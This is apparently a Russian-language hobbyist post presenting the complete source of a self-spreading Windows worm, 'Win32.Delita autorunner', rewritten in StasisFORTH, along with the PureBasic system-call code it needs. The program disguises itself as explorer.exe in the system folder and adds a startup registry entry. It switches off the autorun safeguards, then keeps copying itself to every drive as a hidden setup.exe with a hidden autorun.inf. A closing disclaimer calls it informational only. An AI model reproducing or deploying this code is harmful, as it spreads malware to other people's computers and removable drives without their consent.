Дело было вечером, делать было нечего... От скуки я решила переписать один из своих давным-давно заброшенных AutoRunner'ов на не менее заброшенном StasisFORTH'е. Ну, “for fun and profit”, как говорится. Вот что получилось в итоге:
Цитата("StasisFORTH code")
rem[
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Win32.Delita autorunner v0.8
Developed in 2010 by Chrono syndrome
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
]rem
\ -- Definitions --
def[ MyPath:s Target:s FHandle ]def
<[ "setup.exe" ->string: Malaise
"\dllcache\" ->string: ResidentDir
"S+ Malaise S+" ->macro: AddMalaise
'[autorun]'
'`rOpen=' AddMalaise
'`rShellExecute=' AddMalaise
'`rShell\Open\Command=' AddMalaise
'`rShell\Open\Default=1' S+
->String: RunText
]>
\ -- Import table --
"Extended.SetAttrib"/Import: SetAttrib
"Extended.CopyFile"/Import: CopyFile
"Extended.RegCreate"/Import: RegCreate
"Extended.RegClose"/Import: RegClose
"Extended.StoreInt"/Import: StoreInt
"Extended.StoreStr"/Import: StoreStr
"Extended.ThisFile"/Import: ThisFile
"Extended.SystemDir"/Import: SystemDir
"Extended.DriveType"/Import: DriveType
"Extended.ExecFile"/Import: ExecFile
"Extended.CreateFile"/Import: CreateFile
"Extended.WriteStr"/Import: WriteStr
"Extended.CloseFile"/Import: CloseFile
"Extended.CreateDir"/Import: CreateDir
\ -- Procedures --
void[
: NullAttrib ( fname -- ) 0 SetAttrib ;
: HideFile ( fname -- ) 6 SetAttrib ;
: CopyFileEX ( Base Target -- Result )
String: TPath -> TPath
TPath NullAttrib
TPath CopyFile
TPath HideFile
;
: RegOpenEx RegCreate -> FHandle ;
: RegCloseEx FHandle RegClose ;
: Store0 0 StoreInt ;
: SetSettings <[ 2147483650 ->integer: HKLM ]>
HKLM "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\" RegOpenEx
FHandle "NoDriveAutoRun" Store0
FHandle "NoDriveTypeAutoRun" Store0
RegClose
HKLM "Software\Microsoft\Windows\CurrentVersion\Run\" RegOpenEx
FHandle "Windows explorer" MyPath StoreStr RegCloseEx
;
]void
\ -- Main code --
\ Retireving main paths.
ThisFile lcase -> MyPath
SystemDir ResidentDir S+ "explorer.exe" S+ lcase -> Target
MyPath Target S= if \ If we are resident already...
begin \ Ifinite loop.
"C":i "Z":i 1 for[ SetSettings \ Cycling drives (A-Z)...
I i->c c->s ":\" s+ -> Target \ Formating path
Target DriveType -> FHandle \ Storing type of drive.
FHandle 1 > FHandle 5 <> And if \ If it's presented and not CD-ROM...
MyPath Target Malaise s+ CopyFileEX \ Copying things onto drive
"autoRUN.inf" += Target \ Now let's prepare Autorun.inf...
Target NullAttrib Target CreateFile -> FHandle
FHandle if \ If it's possible to open autorun.inf...
RunText FHandle WriteStr \ Writing data.
FHandle CloseFile \ Closing .inf file.
then Target HideFile \ Now let's just hide it back.
then
]rof
10000 ms \ Light pause
again
else \ Residenting itself.
"explorer.exe" MyPath 3 left ExecFile \ Exploring drive...
SystemDir ResidentDir S+ CreateDir \ Creating required directory.
MyPath Target CopyFileEX \ Copying this file to system.
if Target "" ExecFile then \ Executing it if things got copied...
then
...Для работоспособности данной программы, как следует из ее кода, нужен набор дополнительных системных вызовов, по разным причинам не представленных в базовой поставке StasisVM. Вот как они было реализовано лично у меня:
Код
;{ [!Additional!]
With *ThisThread
SysCall(Extended_CopyFile) : PushI(\Stack, CopyFile(PopS(\Stack), PopS(\Stack))) : EndCall()
SysCall(Extended_ThisFile) : PushS(\Stack, ProgramFilename()) : EndCall()
SysCall(Extended_DriveType) : PushI(\Stack, GetDriveType_(PopS(\Stack))) : EndCall()
SysCall(Extended_CreateFile) : PushI(\Stack, CreateFile(#PB_Any, PopS(\Stack))) : EndCall()
SysCall(Extended_WriteStr) : \I = PopI(\Stack) : WriteString(\I, PopS(\Stack)) : EndCall()
SysCall(Extended_CloseFile) : CloseFile(PopI(\Stack)) : EndCall()
SysCall(Extended_ExecFile) : RunProgram(PopS(\Stack), PopS(\Stack), "") : EndCall()
SysCall(Extended_SetAttrib) : SetFileAttributes(PopS(\Stack), PopI(\Stack)) : EndCall()
SysCall(Extended_SystemDir) : \S = Space(#MAX_PATH) : GetSystemDirectory_(@\S, #MAX_PATH)
PushS(\Stack, \S) : EndCall()
SysCall(Extended_RegCreate)
RegCreateKeyEx_(PopI(\Stack), PopS(\Stack), 0, 0, 0, #KEY_WRITE|#KEY_READ, 0, @\I, 0) : PushI(\Stack, \I)
EndCall()
SysCall(Extended_StoreInt) : \I = PopI(\Stack)
RegSetValueEx_(PopI(\Stack), PopS(\Stack), 0, #REG_DWORD, @\I, SizeOf(Integer)) : EndCall()
SysCall(Extended_StoreStr) : \S = PopS(\Stack)
RegSetValueEx_(PopI(\Stack), PopS(\Stack), 0, #REG_SZ, @\S, Len(\S)) : EndCall()
SysCall(Extended_RegClose) : RegCloseKey_(PopI(\Stack)) : EndCall()
SysCall(Extended_CreateDir): CreateDirectory(PopS(\Stack)) : EndCall()
EndWith
;}
P.S. Данный код представлен здесь исключительно в ознакомительных целях, автор не несет ответственности за последствия от его применения.